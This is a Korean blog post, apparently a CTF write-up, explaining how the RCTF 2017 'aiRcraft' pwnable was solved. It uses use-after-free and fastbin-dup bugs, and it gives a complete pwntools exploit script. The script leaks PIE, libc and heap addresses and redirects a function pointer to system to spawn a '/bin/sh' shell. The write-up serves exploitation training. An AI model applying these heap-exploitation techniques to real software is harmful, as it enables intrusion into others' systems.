-
RCTF 2017 AirCraftPwnable/CTF 2017. 11. 8. 10:40
간단하게 익스방법만.
buy를 이용하면 내가 입력하는 데이터와 힙 주소를 저장해주는 포인터와 함수 포인터 등을 가지고있다.이것을 free하면 함수 포인터를 NULL로 초기화를 안 해줘서 이것을이용하여서 pie base릭을 하고 plt got주소를 구할수있다.
build를 이용하면 포인터 하나를 할당하고 그곳에 내 데이터가 들어가는 할당된 청크 주소가 저장된다. 그 동시에 내 사이즈에 맞춰서 할당한다.이때 전역 포인터 -> 청크 주소 저장 포인터 -> 내 데이터가 들어가는 청크(포인터)
이때 전역포인터가 더블포인터라 청크주소를 저장 하는 포인터가 가르키는 주소에있는 값을 출력한다. 이것을 노려서 라이브러리 릭을하였다.enter를 쓰면 free가되면서 청크 주소를 저장하는 포인터와 내 데이터가 들어가는 포인터가 프리가된다.
하지만 전역 포인터를 NULL로 초기화를 시키지 않기때문에
따로 전역 주소를 저장하는 포인터가 생기지 않는 buy를 이용하여서 uaf를 하고 got주소를 덮으면 전역 포인터 -> puts_got -> 라이브러리로 릭을 할수있다.
select 를하면 buy 포인터와 build 포인터가 합쳐진다? build에 주소값이 들어가지는데 enter를 할때 build에 주소값이 있다면 free를 시킨다. 이때 할당이 되어있는지 확인을 안 하고 먼저 select를 하고있는지 확인을 안 하며 fastbin이여서 select 로 합쳐서 fastbin dup를 일으킬수있다.
select("QWE",1,2) # 2-> qweexit()select("EWQ",1,3) #3 -> ewqexit()select("QWE",1,4) #4 -> qweexit()이런식으로 합치고 그 아래 코드로 enter를 하면 fastbin에 qwe ewq qwe 가 들어가게할수있다
buy 포인터도 NULL로 초기화를 안 해주기때문에 UAF를 이용하여 fake struct를 짜줘서 함수 포인터를 시스템으로 바꿔주면 쉘을 딸 수 있다.
123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136from pwn import *p=process("./aiRcraft")elf=ELF("./aiRcraft")def buy(company,name):p.recvuntil(': ')p.sendline("1")print p.recv(1024)p.sendline(str(company))p.recvuntil(': ')p.sendline(name)def build(size,name):p.recvuntil(': ')p.sendline("2")p.recvuntil('? ')p.sendline(str(size))p.recvuntil(': ')p.sendline(name)def enter(idx,what):p.recvuntil(': ')p.sendline("3")p.recvuntil('? ')p.sendline(str(idx))p.recvuntil(': ')p.sendline(str(what))def select(name,what,idx):p.recvuntil(': ')p.sendline("4")p.recvuntil('? ')p.sendline(name)p.recvuntil(': ')p.sendline(str(what))if(what==1):p.recvuntil('? ')p.sendline(str(idx))def exit():p.recvuntil(': ')p.sendline("3")print "0x202080 build pointer"print "0x202138 company pointer"buy(1,"AAAA") #crselect("AAAA",2,0) #delbuild(64,"B"*64) #uafbuy(1,"ZZZZ") #crselect("ZZZZ",1,0) #printprint p.recvuntil('to ')print p.recvuntil("B"*64)free_pointer = u64(p.recv(6)+"\x00\x00")binary_base = free_pointer - 0xb7dputs_got = binary_base + elf.got['puts']puts_plt = binary_base + elf.plt['puts']print hex(free_pointer)print hex(binary_base)print hex(puts_got)print hex(puts_plt)exit()enter(0,2) #build 0,company(ZZZZ) freebuild(40,"AAAA")enter(1,2)buy(4,"C"*16) #dummy heap uafbuy(1,p64(puts_got)) #build pointer uafselect(p64(puts_got),1,1)p.recvuntil(' to ')puts = u64(p.recv(6)+"\x00\x00")libc_base = puts - 0x6f690system = libc_base + 0x45390#system = libc_base + 0xf0274free_hook = libc_base + 0x3c67a8malloc_hook = libc_base + 0x3c4b10print hex(puts)print hex(libc_base)print hex(system)print hex(free_hook)print hex(malloc_hook)exit()buy(4,"aaaabbbbcccc")buy(4,"QWE")buy(4,"EWQ")build(256,"zzzz") #2build(256,"qqqq") #3build(256,"tttt") #4enter(2,2)select("QWE",1,2)p.recvuntil('to ')heap_base = u64(p.recv(6)+"\x00\x00") - 0x730print hex(heap_base)buy_attack = heap_base + 0x160print hex(buy_attack)exit()build(256,"zzzz") #2,5build(65,"A"*56+p64(buy_attack+0x10)) #6select("QWE",1,2) # 2-> qweexit()select("EWQ",1,3) #3 -> ewqexit()select("QWE",1,4) #4 -> qweexit()enter(2,2) #QWEenter(3,2) #EWQenter(4,2) #QWE fastbin dupbuild(0x40,p64(buy_attack))build(0x40,"CCCC")build(0x40,p64(buy_attack))print hex(buy_attack)payload = "/bin/sh\x00"payload += "\x00"*40payload += p64(heap_base + 0x8e0)payload += p64(heap_base + 0x210)payload += p64(system)build(0x48,payload) #plane /bin/sh == airport idx 9#select("/bin/sh",2,2)p.interactive()cs 문제를 풀고 귀찮아서 write up을 미루다가 작성하게 되어서 설명에 실수가 있을수있습니다 ㅠ
'Pwnable > CTF' 카테고리의 다른 글
CAT_SECURITY WhiteHackerLeague (2) 2017.11.19 RCTF 2017 RNOTE (0) 2017.11.08 RCTF 2015 SHAXPIAN (0) 2017.11.04 RCTF 2015 welpwn (0) 2017.11.04 Belluminar 2016 remuheap (0) 2017.10.19